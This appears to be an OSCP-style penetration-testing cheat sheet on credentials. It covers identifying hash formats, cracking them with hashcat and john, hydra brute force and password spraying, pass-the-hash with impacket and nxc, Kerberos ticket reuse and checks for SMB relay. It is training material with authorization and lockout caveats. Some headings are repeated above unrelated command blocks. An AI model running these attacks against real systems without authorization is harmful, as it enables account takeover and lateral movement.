Credentials

Client commands / example output

Copy# Baseline
SOURCE -> MATERIAL/FORMAT -> LOCAL/DOMAIN/APPLICATION IDENTITY
-> POSSIBLE USE -> SERVICE/PROTOCOL -> AUTHENTICATION
-> AUTHORIZATION -> NEW ACCESS -> RE-ENUMERATION

Preserve the source and identity context, then identify the format

Record source, claimed identity, format evidence, possible uses, tested service, result and resulting rights together.

Material	Recognition	Compatible use
Cleartext password	Text tied to an identity/source	Normal protocol/application login
SSH private key	OpenSSH/PEM private-key block	SSH public-key authentication; recover passphrase offline if protected
Linux password record	USER:$id$salt$digest:...	Offline recovery with complete record/format
Application/file verifier	Tool-specific $...$ or documented digest	Offline recovery with matching mode/parser
NT hash	Usually 32 hex from SAM/LSASS/NTDS context	Offline recovery; PtH where NTLM and the client support it
Net-NTLMv2 response	USER::DOMAIN:challenge:proof:blob	Offline recovery or live relay under specific conditions; not PtH material
DCC2/MSCache v2	Username-dependent cached-domain verifier	Offline recovery; not ordinary PtH material
Kerberos ticket	.kirbi, ccache or in-memory cache	Ticket-specific access subject to realm, SPN, validity, clock and route
Kerberos roast material	$krb5asrep$... or $krb5tgs$...	Offline recovery with matching enctype/mode
Session/API token	Cookie, bearer/JWT or application token	Issuing application and authorization context only

Do not feed unknown strings into random modes. Preserve the source and identity context, then identify the format:

Copy# Preserve the source and identity context, then identify the format
hashid HASH_OR_FILE
john --list=formats | grep -i KEYWORD
hashcat -hh | grep -i KEYWORD
hashcat --example-hashes | less

Output	Type	Immediate compatible possibilities	Not valid as
Cleartext password	Reusable secret	Password authentication, key derivation, DPAPI where applicable	Proof of authorization
NT hash	NTLM key	Offline crack; PTH where NTLM/service policy allows; Kerberos RC4 transition where supported	Net-NTLM response or DCC2
AES128/AES256 key	Kerberos long-term key	Request Kerberos material using compatible tooling	Direct NTLM authentication
.kirbi / ccache	Kerberos ticket container	Use while valid for its client/realm/SPN scope	Password/hash
DCC2/MSCache v2	Offline verifier	Offline cracking	PTH
DPAPI key/blob	Protected-data material	Decrypt only with matching context/keys	General logon credential
Machine-account key	Computer identity	Map the computer account's rights and Kerberos/NTLM paths	Human/domain-admin identity

Net-NTLMv2 relay is a live authentication path, not hash reuse

A captured Net-NTLMv2 response is suitable for offline recovery, but cannot be passed as an NT hash. A relay path instead needs a fresh inbound NTLM authentication event, a different reachable target that accepts the relayed protocol, target protections that permit the exchange, and useful authorization for the relayed identity.

For an explicitly selected SMB destination, inspect signing behavior before considering it a relay receiver:

Copy# Net-NTLMv2 relay is a live authentication path, not hash reuse
nmap -p 445 --script smb2-security-mode TARGET

Every newly usable identity returns to Block 10 before movement

Interpret: signing required closes the ordinary SMB-to-SMB relay receiver path. Signing enabled but not required is only one prerequisite; it does not supply an authentication source, bypass EPA/channel binding on another protocol, or grant the relayed identity useful rights.

The current OSCP+ exam guide prohibits poisoning/spoofing. Do not use Responder-style name-resolution poisoning in the exam workflow. A direct, already-existing authentication source still needs a separately reviewed, scope-compliant relay procedure and an action-specific verification; the incomplete procedure is tracked as RW09.

Every newly usable identity returns to Block 10 before movement:

Copy# Every newly usable identity returns to Block 10 before movement
VERIFY MATERIAL -> AUTHENTICATE SAFELY -> CONFIRM IDENTITY
                -> MAP GROUPS/RIGHTS/SHARES/HOSTS/ROUTES

Use the normal client for the observed service

Copy# Use the normal client for the observed service
ssh -o PreferredAuthentications=password -p PORT USER@TARGET
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore

# Local Windows account
nxc smb TARGET --local-auth -u USER -p 'PASSWORD' --shares

# Variant — known user, targeted password dictionary
hydra -l USER -P WORDLIST -s PORT -t 4 -f ssh://TARGET
hydra -l USER -P WORDLIST -t 1 -f rdp://TARGET

# Variant — one password across an authorized user list
hydra -L USERS -p 'PASSWORD' -s PORT -t 1 rdp://TARGET
nxc smb TARGET -d DOMAIN -u USERS -p 'PASSWORD' --continue-on-success

# Capture a correct request and stable failure marker with Burp
hydra -l USER -P WORDLIST TARGET http-post-form \
  '/LOGIN_PATH:username=^USER^&password=^PASS^:F=STABLE_FAILURE_TEXT'

Decisive output: the destination service accepts the intended identity. Share, session or action access is a separate authorization result.

Use only on an assigned target after checking lockout and rate controls. Confirm every reported success with the normal client.

Dynamic CSRF tokens, cookies, redirects, throttling and uniform responses require manual handling or a different approach. A weak failure marker creates false positives.

RunasCs — test a known password from an existing Windows shell

Use a reviewed, compatible build on the current Windows host with a known plaintext password. This creates a new local process/logon context; it is not remote execution and does not turn an NT hash into a password.

CopyREM RunasCs — test a known password from an existing Windows shell
REM Domain account: verify the new process token
RunasCs.exe USER PASSWORD "cmd /c whoami /all" -d DOMAIN

REM Local account: omit the domain switch for the current host's account
RunasCs.exe USER PASSWORD "cmd /c whoami /all"

REM Network-only credentials: local identity stays unchanged
RunasCs.exe USER PASSWORD "cmd /c dir \\TARGET\SHARE" -d DOMAIN -l 9

Read: in the first two forms, whoami identifies the created process; inspect its groups/integrity before claiming escalation. With logon type 9, local whoami is not a credential test: use the remote operation's result. Logon failure → check account scope, password and permitted logon type. An accepted logon with access denied → inspect authorization on that resource.

RunasCs — test a known password from an existing Windows shell

Read: in the first two forms, whoami identifies the created process; inspect its groups/integrity before claiming escalation. With logon type 9, local whoami is not a credential test: use the remote operation's result. Logon failure → check account scope, password and permitted logon type. An accepted logon with access denied → inspect authorization on that resource.

Copy# RunasCs — test a known password from an existing Windows shell
accepted identity -> groups/roles -> reachable services -> shares/files
-> authenticated application behavior -> accessible hosts/routes
-> new credentials/tickets/sessions -> privilege and movement handoffs

RunasCs — test a known password from an existing Windows shell

Verify destination host, accepted identity and actual read/write/execute rights. New hosts/listeners return to discovery; recovered material returns here; operating-system execution enters session handling; domain identities enter AD mapping.

CopyREM RunasCs — test a known password from an existing Windows shell
net accounts /domain

RunasCs — test a known password from an existing Windows shell

Copy# RunasCs — test a known password from an existing Windows shell
Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess

Password validation belongs to the existing credential procedure. Do not spray by default. If explicitly required, account for lockout threshold, duration, observation window and prior failures; use one justified candidate, stop on lockout/rate-limit evidence and preserve successful identities separately.

Shell commands

Copy# Baseline
hashcat -b -m MODE
python3 -c "print((CHARSET_SIZE ** LENGTH) / GUESSES_PER_SECOND)"

Prefer candidates in this order

Copy# Prefer candidates in this order
exact recovered/default candidates -> organization/user/product words
-> observed policy and mutations -> small dictionary plus rules
-> known mask/hybrid -> broader curated lists/rules
-> exhaustive search only when its measured cost is defensible

Preview mutations before spending the candidate budget

Copy# Preview mutations before spending the candidate budget
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout wordlist.txt | head -n 50
john --wordlist=wordlist.txt --rules=Jumbo --stdout | head -n 50

# Baseline
hashcat -a 0 -m MODE hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule --session job
hashcat -m MODE hashes.txt --show

# Baseline
hashcat -h | grep -Ei 'NTLM|NetNTLMv2|KeePass|OpenSSH'

# Mask and session variants
hashcat -m MODE hashes.txt -a 3 '?u?l?l?l?l?d?d?d' --session targeted-mask
hashcat --session targeted-mask --restore

# Hybrid variant — base word plus three digits
hashcat -a 6 -m MODE hashes.txt wordlist.txt '?d?d?d' --session targeted-hybrid

Mask order is a hypothesis about structure. Estimate its keyspace before committing time.

Hybrid variant — base word plus three digits

Use only when evidence supports both the base words and suffix shape.

Copy# Hybrid variant — base word plus three digits
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

# Hybrid variant — base word plus three digits
john --format=FORMAT --wordlist=wordlist.txt --rules=Jumbo hash.txt
john --session=crack-job --wordlist=wordlist.txt hash.txt
john --restore=crack-job

# File-to-hash converters
zip2john archive.zip > archive.hash
7z2john archive.7z > archive.hash
ssh2john id_rsa > ssh.hash
keepass2john vault.kdbx > keepass.hash
pdf2john document.pdf > pdf.hash
office2john document.docx > office.hash
rar2john archive.rar > rar.hash
unshadow passwd.copy shadow.copy > linux.hash

# Converter availability varies by package/path; locate it rather than assuming
command -v ssh2john || find /usr/share/john -maxdepth 2 -iname '*2john*' 2>/dev/null

Preserve the complete converter output. Some formats include a filename label before : that John accepts but Hashcat may require removed from a separate tool-specific copy.

Shell commands

Copy# Baseline
keepass2john vault.kdbx > keepass.hash
john --wordlist=wordlist.txt keepass.hash
john --show keepass.hash

# Hashcat alternative after confirming KDBX/KDF and input format
hashcat -hh | grep -i keepass
hashcat -a 0 -m 13400 keepass.hash wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13400 keepass.hash --show

Mode 13400 covers common KeePass 1/2 AES formats. Installed help and example hashes decide for the actual file. A recovered master password still requires opening and validating the vault.

Shell commands

Copy# Baseline
ssh2john id_rsa > ssh.hash
john --wordlist=wordlist.txt ssh.hash
john --show ssh.hash
chmod 600 id_rsa
ssh-keygen -y -f id_rsa > derived.pub
ssh -vv -i id_rsa -o IdentitiesOnly=yes -p PORT USER@TARGET

# Hashcat variant — only for a supported OpenSSH format
hashcat -hh | grep -i 'OpenSSH\|Private Key'
hashcat -a 0 -m MODE ssh.hash wordlist.txt -r RULE_FILE

Choose MODE from the complete $sshng$... structure and installed help. Token-length or unsupported-cipher errors require a compatible parser/tool, not --force with a wrong mode.

Shell commands

Copy# Baseline
unshadow passwd.copy shadow.copy > linux.hash
john --wordlist=wordlist.txt --rules=Jumbo linux.hash
john --show linux.hash

Offline recovery

Copy# Offline recovery
hashcat -a 0 -m 1000 nt.hash wordlist.txt -r /usr/share/hashcat/rules/best64.rule
john --format=NT --wordlist=wordlist.txt nt.hash

# Compatible SMB validation
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH --shares
smbclient //TARGET/SHARE -U 'DOMAIN\USER' --pw-nt-hash NT_HASH

# Variant — remote access/execution when the identity has matching rights
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /pth:NT_HASH /cert:ignore

Shell commands

Copy# Baseline
hashcat -a 0 -m 5600 netntlmv2.hash wordlist.txt
john --format=netntlmv2 --wordlist=wordlist.txt netntlmv2.hash

A Net-NTLMv2 response is not an NT hash and cannot be supplied to -H or -hashes. Relay forwards a live authentication exchange and requires received/coerced authentication, compatible protocols, signing/channel-binding conditions and useful rights.

The OSCP+ exam prohibits spoofing, including NBNS. Do not use Responder poisoning on the exam. Keep capture/relay work to explicitly authorized labs and recheck the current guide.

Shell commands

Copy# Baseline
hashcat -hh | grep -i 'Domain Cached'
john --format=mscash2 --wordlist=wordlist.txt dcc2.hash

Inspect before use

Copy# Inspect before use
klist
KRB5CCNAME=TICKET.ccache klist
impacket-ticketConverter TICKET.kirbi TICKET.ccache

# Compatible client example
export KRB5CCNAME=TICKET.ccache
impacket-wmiexec -k -no-pass 'DOMAIN/USER@HOST.DOMAIN'